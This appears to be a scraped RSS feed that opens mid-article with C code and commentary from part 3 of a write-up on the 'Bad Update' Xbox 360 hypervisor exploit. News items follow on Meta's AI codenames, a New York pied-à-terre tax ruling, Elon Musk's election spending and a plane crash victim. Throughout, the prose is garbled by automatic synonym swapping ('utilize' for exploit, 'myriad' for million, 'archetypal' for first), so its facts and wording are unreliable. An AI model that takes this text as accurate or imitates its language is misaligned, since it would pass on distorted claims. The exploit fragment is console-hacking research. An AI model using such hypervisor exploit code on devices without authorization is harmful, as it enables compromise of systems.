</span><span>*</span><span>pCipherTextPtr</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>test</span><span> </span><span>!=</span><span> </span><span>lastCipherTextValue</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>lastCipherTextValue</span><span> </span><span>=</span><span> </span><span>test</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>(</span><span>*</span><span>pBlockCounter</span><span>)</span><span>++</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Once we detect 15 distinct code content values halt thrashing cache immediately.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>*</span><span>pBlockCounter</span><span> </span><span>==</span><span> </span><span>15</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Unlock the L2 cache and liberated the scratch buffer.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>UnlockL2</span><span>(</span><span>pL2LockBuffer</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>pL2LockBuffer</span><span> </span><span>=</span><span> </span><span>NULL</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Flag to halt thrashing cache.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>pArgs</span><span>-&gt;</span><span>bRunCacheThrashing</span><span> </span><span>=</span><span> </span><span>FALSE</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>goto</span><span> </span><span>Exit</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>Exit</span><span>:</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>if</span><span> </span><span>(</span><span>pL2LockBuffer</span><span> </span><span>!=</span><span> </span><span>NULL</span><span>)</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>{</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// Unlock the L2 cache and liberated the scratch buffer.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>UnlockL2</span><span>(</span><span>pL2LockBuffer</span><span>)</span><span>;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>}</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>// We must call ExTerminateThread since we don't use the normal thread startup routine.</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span>ExTerminateThread</span><span>(</span><span>0</span><span>)</span><span>;</span></p><p><span>}</span></p></div></td> </tr> </table> </div> </div> </div> <p>I moved the L2 cache locks into the ciphertext study thread which we can see on row 5. Once we detect all 15 blocks of data have been written to recollection we autumn the L2 locks on row 36, and indication to the cache flushing thread to immediately terminate on row 40.</p> <p>There&rsquo;s motionless an border case anywhere we don&rsquo;t detect all 15 blocks being written and thus won&rsquo;t be capable to decrease force on CPU cache before the call to HvpRelocateProtectedToPhysical. But this didn&rsquo;t appear to matter. With all the improvements the utilize is normally prosperous in the archetypal run of the XKE payload and at worst it may obtain 2-5 iterations, but I didn&rsquo;t encounter any crashes whenever testing. It&rsquo;s motionless imaginable it could happen but I think it&rsquo;s extremely rare it does.</p> <p>So there you have it, gratitude to all the improvements from ihatecompvir, InvoxiPlayGames, and M&aacute;t&eacute; the Bad Update utilize is now instantaneous and has nearly 100% achievement rate, and you lone need to copy a few records to a USB rod to hack your console. When I released the first PoC I made several statements akin &ldquo;I don&rsquo;t think this can be optimized any further&rdquo; mostly to evade endless comments from non-technical group spit balling random useless ideas. The fact is I continually idea it could be optimized additional but I didn&rsquo;t anticipate it would always attain the item it&rsquo;s at now.</p> <p>I think the biggest item I learned current is that I should have taken a interrupt following I completed the archetypal repeat of Bad Update and came rear alongside a apparent intellect to try and refine it. Having fair established among the lone two bugs in the Xbox 360 hypervisor I put a lot of force on myself to get this utilize operating at all. It took a lot of attempt and sleepless days to drag it off and in the end I got tunnel imagination chasing issues that didn&rsquo;t really matter which distracted me from the genuine issues at hand. Had I taken a interrupt following the first PoC and came rear a few weeks afterward I likely could have had item additional refined for the first publish equal if it wasn&rsquo;t as refined as it is now.</p> <p>Any ways, that does it for part 3. You can discover the origin code for the Bad Update improvements on my <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">GitHub</a>. Part 4 which covers the Peer Pressure utilize volition be out shortly so remain tuned for that!</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/hacking-the-xbox-360-hypervisor-part-3-bad-update-improvements-75701</guid> <pubDate>Wed, 04 Nov 2026 23:01:49 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Meta isn't naming its AI models after fruit anymore]]></title> <description><![CDATA[Meta isn't naming its AI models after fruit anymore. As AI models get additional powerful, Meta stops naming them following fruit. Previous models were internally known as Watermelon, Avocado, and Mango.]]></description> <media:thumbnail url="https://i.insider.com/6aea5834cd2cd3a46a0f0850?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/meta-isn-t-naming-its-ai-models-after-fruit-anymore-75690</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad8f722dc67b5b4d01f61c0?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad8f722dc67b5b4d01f61c0?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad8f722dc67b5b4d01f61c0?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad8f722dc67b5b4d01f61c0?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad8f722dc67b5b4d01f61c0?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad8f722dc67b5b4d01f61c0?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad8f722dc67b5b4d01f61c0?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Meta CEO Mark Zuckerberg." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Meta CEO Mark Zuckerberg.</span> <span> <span e-name="image-source" itemprop="creditText">ROBERTO SCHMIDT / AFP via Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Meta is done alongside fruits.</p><p>The social media elephantine has internally decided to halt naming its AI models following fruit, a individual acquainted alongside the matter said.</p><p>It's mostly a branding decision, as fruit-based codenames don't chime fine alongside Meta's lofty AI ambitions, the individual added.</p><p>"Watermelon" was the inner codename for <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Meta's latest AI, Wonder Full</a>, which Meta stated was its archetypal cutting-edge "frontier" model. Meta teased its initiate by posting photos of the fruit.</p><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Meta dubbed</a> its former tongue and depiction models "Avocado" and "Mango," respectively.</p><p>Meta declined to comment.</p><p>Meta's CEO, Mark Zuckerberg, and AI chief, Alexandr Wang, joked on the Cheeky Pint podcast final duration that they've run out of create names for their AI.</p><p>"We're out of fruits," Zuckerberg said. "So we're going to have to toggle to a new convention."</p><p>"I think the lone create that is technically larger is the durian, and you don't desire to go to the durian," Wang said.</p> <p>Meta isn't the lone tech business to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">name its AI products</a> following items you can buy in a market store.</p><p>In 2025, OpenAI dubbed one example "Garlic" internally, The Information reported. Google additionally released its "Nano Banana" depiction generator in 2025.</p><p>More recently, as AI models get additional powerful, it's rotate into trendy to provision them additional awe-inspiring names, akin Anthropic's Mythos or OpenAI's Astra.</p><p><em>Have a tip? Contact this newsman securely on Signal at charlesrollet.12 or +1-628-282-2811. Use a individual email location and a non-work device; </em><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}'><em>here's our guide</em></a><em> to sharing data securely.</em></p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Charles Rollet is Business Insider's tech equal in San Francisco, anywhere he focuses on breaking important news concerning the AI industry. In 2025, he led an inquiry which revealed that Scale AI had inadvertently exposed confidential data concerning its workers and clients. In 2026, he was the archetypal to interrupt the news that Meta had halted a arguable keystroke tracking program.</span><span>Prior to joining BI, Charles worked at TechCrunch covering startups and VC in San Francisco. Before that, he was based in Southeast Asia for a decade, anywhere his activity won a Gerald Loeb award and was nominated for a Society of Publishers in Asia award. His reporting on the surveillance industry led to US individual entitlements sanctions on five Chinese safety camera manufacturers.</span><span>Charles is particularly curious in how frontier AI models are built and trained. He has a master's flat in endeavor reporting from NYU and a bachelor's flat in former from Northwestern.</span><span>You can communication Charles securely on Signal at charlesrollet.12 or +1-628-282-2811.&nbsp;Charles keeps sources anonymous. Please use a non-work equipment to attain out.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/meta-isn-t-naming-its-ai-models-after-fruit-anymore-75690</guid> <pubDate>Wed, 04 Nov 2026 22:53:20 +0700</pubDate> <author><![CDATA[support@mycoding.id (Charles Rollet)]]></author> </item> <item> <title><![CDATA[NYC Mayor Zohran Mamdani's pied-à-terre tax just got a big win in court]]></title> <description><![CDATA[NYC Mayor Zohran Mamdani's pied-à-terre tax just got a big win in court. A New York court cleared Zohran Mamdani's pied-à-terre tax surcharge on luxury second homes complete $5 million. Yet, the lawful combat is not over.]]></description> <media:thumbnail url="https://i.insider.com/6aeba590308912814ed7101f?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/nyc-mayor-zohran-mamdani-s-pied-a-terre-tax-just-got-a-big-win-in-court-75691</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6aeba571c54bfafa65abf161?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6aeba571c54bfafa65abf161?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6aeba571c54bfafa65abf161?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6aeba571c54bfafa65abf161?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6aeba571c54bfafa65abf161?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6aeba571c54bfafa65abf161?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6aeba571c54bfafa65abf161?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="New York City Mayor Zohran Mamdani." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>New York City Mayor Zohran Mamdani.</span> <span> <span e-name="image-source" itemprop="creditText">Andres Kudacki/Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>NYC Mayor Zohran Mamdani fair secured a big win &mdash; and those alongside <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">luxury second homes</a> in the Big Apple power have to pay up soon.</p><p>On Wednesday, the Appellate Division of the New York Supreme Court ruled that the City could rotate out its pied-&agrave;-terre surcharge. This comes following the tax hit a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">roadblock in September</a>, following a Staten Island fairness ruled in favor of NYC homeowners who sued complete the rollout of the tax. The ruling indicated that the implementation of the tax &mdash; which <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">targets second homes</a> value complete $5 myriad &mdash; needed to be redone following causing disturbance and the revelation of individual information. The identical night, the city invoked a stay, appealing the September ruling.</p><p>The appellate court reversed the decision and ruled in favor of the city, explaining that the homeowners lacked position and could not demonstrate injury. The decision stated the homeowners' stated "confusion has been held to be too generalized, tenuous, and ephemeral" to demonstrate genuine injury. The court additionally stated worries concerning forthcoming alleged hurt to these homeowners were "based on speculation concerning what power occur," not evidence of genuine injury.</p><p>When addressing the homeowners' concerns that it would disbursal them period and prosperity to demonstrate their homes were their genuine chief homes to evade paying the tax, the court stated that tax paperwork normally takes time, and no records was shown to substantiate these costs.</p><p>In a statement, the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">NYC mayor</a> stated the court prevented the attempt of the "ultrawealthy to evade paying their fair share." Mamdani stated the earnings from the tax volition contribute to "safer streets, cleaner parks and essential community services."</p><p>Randy Mastro, a attorney for the homeowner plaintiffs, stated in a declaration that it's "a shame" the court decided to revert the September decision.</p><p>"What the City has done current is unconscionable - trying to ensnare thousands of group who don't owe this surcharge into having to demonstrate they live in their own homes or alternatively have to pay it," he said. "Now, this lawless and disorderly data gathering scheme volition go unremedied."</p><p>Yet the tax has another battles to combat before it's prepared for rollout.</p><p>Wealthy Florida residents alongside New York properties, businessman Steve Wynn and erstwhile Commerce Secretary Wilbur Ross, additionally submitted a lawsuit against the tax, suing the province of New York in September complete its constitutionality. The arguments complete this lawsuit are set to obtain location in December.</p> <p>"The supreme day of reckoning for this 'pied-a-terre' surcharge volition happen next duration whenever its constitutionality volition be decided," stated Mastro. "We remain assured we volition prevail and put an end to this unconstitutional surcharge altogether."</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Martina is an economics chap at Business Insider. She reports for Cost of the City, a sequence exploring how New Yorkers oversee existence in among the country&rsquo;s most costly cities and the financial and individual trade-offs they create to stay. She additionally contributes to Business Insider&rsquo;s Cost of Living video series.</span><span>She studied reporting and global relations at Boston University.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/nyc-mayor-zohran-mamdani-s-pied-a-terre-tax-just-got-a-big-win-in-court-75691</guid> <pubDate>Wed, 04 Nov 2026 22:47:28 +0700</pubDate> <author><![CDATA[support@mycoding.id (Martina Nacach Cowan Ros)]]></author> </item> <item> <title><![CDATA[17 better ways Elon Musk could have wasted $446 million]]></title> <description><![CDATA[17 better ways Elon Musk could have wasted $446 million. One of the essential problems of spending too much period on social media is that you are cooking your brain by study posts from a group of attention-seeking lunatic...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2026/11/268859_How_the_tech_right_could_have_spent_all_the_money_they_burned_on_the_midterms_CVirginia.jpg?quality=90&amp;strip=all&amp;crop=0%2C10.732984293194%2C100%2C78.534031413613&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/17-better-ways-elon-musk-could-have-wasted-446-million-75687</link> <content:encoded><![CDATA[<div id="zephr-anchor"><p>One of the essential problems of spending too much period on social media is that you are cooking your brain by study posts from <a href="https://en.mycoding.id/category/technology" target="_blank">a group of attention-seeking lunatics</a>. If your social media of choice is the location formerly known as Twitter, and <a href="https://en.mycoding.id/category/technology" target="_blank">it is your chief origin of communication alongside the exterior world</a>, you may delusionally throw distant nearly $500 myriad dollars on midterm elections, fair akin Elon Musk.</p><p>In particular, $47 myriad of that prosperity from Musk&rsquo;s America PAC was aimed at defeating Texas Democrat James Talarico, who trounced Musk&rsquo;s preferred Senate candidate, Ken Paxton, alongside 55 percent of the vote. Talarico equal made Musk&rsquo;s power <a href="https://en.mycoding.id/category/technology" target="_blank">a chief part of his run ads</a>, alongside the motto &ldquo;Texas is not for sale.&rdquo;</p><div><div><p>The opposition to data centers is a way of making tangible how pissed off most group are alongside the tech industry</p></div></div><p>How did Musk get this so wrong? I accuse the bubble of X. My erstwhile coworker Casey Newton, who has (<a href="https://en.mycoding.id/category/technology" target="_blank">with several well-earned shame</a>) slunk rear to X, explained that he did so since it was the location that was most influential alongside the AI crowd. In several sense, this is exactly the problem. The agentmaxxing loons of AI influencing are <a href="https://en.mycoding.id/category/technology" target="_blank">wildly out of contact alongside normal people</a>. There is, correct now, one <em>very important</em> bipartisan stance in the United States, and it is: <a href="https://en.mycoding.id/category/technology" target="_blank">Fuck a data center</a>.</p><p>It&rsquo;s beautiful apparent that the opposition to data centers is a way of making tangible how pissed off most group are alongside the tech industry, particularly alongside the <a href="https://en.mycoding.id/category/technology" target="_blank">gangster tech regulation of late</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">the changeless stream</a> <a href="https://en.mycoding.id/category/technology" target="_blank">of threats</a> <a href="https://en.mycoding.id/category/technology" target="_blank">coming from</a> <a href="https://en.mycoding.id/category/technology" target="_blank">AI companies</a>. These guys have really tied themselves and their AI aspirations to Donald Trump&rsquo;s sinking ship, and if you&rsquo;re hanging out on X all the time, that&rsquo;s unattainable to see, not smallest since the site&rsquo;s owner, Musk, is <a href="https://en.mycoding.id/category/technology" target="_blank">shaping</a> <a href="https://en.mycoding.id/category/technology" target="_blank">the</a> <a href="https://en.mycoding.id/category/technology" target="_blank">algorithm</a> in ways that create him awareness good.</p><p>Since Musk seems to have forgotten what it is akin to cognition joy, or equal mild satisfaction, I have taken the liberty to create a catalog of things he could have bought to get him a improved come back on his investment. He likely could flip multiple things on this catalog for <em>more</em> money, but at minimum he could have gotten a small hurry of pleasance from a new purchase:</p><div><ul><li><span>Larry Ellison&rsquo;s personal isle ($300 myriad in 2012, $440 myriad in today&rsquo;s dollars per CPI calculator) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>13 Rolls-Royce La Rose Noire Droptails ($32 million) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>5 The Graff Diamonds Hallucination watches ($55 million, $78 myriad today) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span><em>The Washington Post</em> ($250 myriad in 2013, $360 myriad today) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>30 Sunseeker 100 yachts (base cost $14.6 million) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>43 Hope diamonds ($300,000 in 1911, concerning $10.3 myriad today) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>Ken Griffin&rsquo;s NYC penthouse ($239.96 myriad in 2019, $321 myriad today) (<a href="https://en.mycoding.id/category/technology" target="_blank">source)</a></span></li><li><span>76 New Zealand aureate visas ($10 myriad affirmative $27,000 use fee in NZD, concerning $5.77 myriad in USD) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>44 30-second Super Bowl commercials ($10 million) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>At smallest 977 rides on Blue Origin&rsquo;s New Shepard ($450,000) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>Willem de Kooning&rsquo;s <em>Interchange</em> (~$300 million, ~$400 myriad today) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>$14.67 current cardstock to all Texan (~30 myriad Texans) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>34 renovations of the Lincoln Memorial Reflecting Pool ($13.1 million) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>223,000 Nvidia GeForce RTX 5090 graphics cards (at MSRP of $1,999) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>); 60,000 Nvidia GeForce RTX 5090 graphics cards (at &ldquo;globalized normal price&rdquo; of $7,240) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>8 2026 Victoria&rsquo;s Secret Fashion Show Fantasy Bras (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>His extremely own non-Grok type of <em>The Odyssey</em> (budget $250 million) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li><li><span>4 sets of Wachtell, Lipton lawyers from the Twitter takeover lawsuit ($90 myriad fee) (<a href="https://en.mycoding.id/category/technology" target="_blank">source</a>)</span></li></ul></div><div><p>But hey, at smallest changing the name of <a href="https://en.mycoding.id/category/technology" target="_blank">SpaceX&rsquo;s &ldquo;Superintelligence&rdquo; division</a> rear to &ldquo;Artificial Intelligence&rdquo; is free!</p></div><p>Musk spent final night <a href="https://en.mycoding.id/category/technology" target="_blank">deleting tweets</a> so he wouldn&rsquo;t appearance as foolish as he is. Too bad it&rsquo;s not as uncomplicated to delete another things! Texans were already <a href="https://en.mycoding.id/category/technology" target="_blank">asking questions concerning sweetheart deals</a> to advantage Musk, and now there&rsquo;s a motion of politicians who ran against his prosperity coming into power, including the administrator and the attorney broad of Texas. That may average <a href="https://en.mycoding.id/category/technology" target="_blank">unredacting Gov. Greg Abbott&rsquo;s Musk emails</a>, for case &mdash; answering several questions concerning the power Musk bought alongside Texas Republicans.</p><p>So actually, perchance the finest funding on that catalog would be <a href="https://en.mycoding.id/category/technology" target="_blank">the aspiration squad of lawyers</a> who clobbered Musk on the Twitter agreement &mdash; since Musk has a bunch of new enemies in power, and the simplest item in the earth they can do to curry favor alongside their voters is examine him. Bet you&rsquo;d never cognize that if you spent all your period on X.</p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6ODA0"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Elizabeth Lopatto</span></span></span></li><li><li><li><li><li><li><li><li><li><li><li><li></ul></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/17-better-ways-elon-musk-could-have-wasted-446-million-75687</guid> <pubDate>Wed, 04 Nov 2026 22:45:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Elizabeth Lopatto)]]></author> </item> <item> <title><![CDATA[Who was Ana María Ramírez Cetina, the nanny killed in the Learjet crash?]]></title> <description><![CDATA[Who was Ana María Ramírez Cetina, the nanny killed in the Learjet crash?. Ana María Ramírez Cetina, 24, was a biomedical engineering alumnus and had moved to the US seeking improved opportunities.]]></description> <media:thumbnail url="https://i.insider.com/6aeb8aee308912814ed70edf?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/who-was-ana-maria-ramirez-cetina-the-nanny-killed-in-the-learjet-crash-75692</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6aeb8ad9c54bfafa65abf030?width=1300&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6aeb8ad9c54bfafa65abf030?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6aeb8ad9c54bfafa65abf030?width=500&amp;format=jpeg&amp;auto=webp 500w, 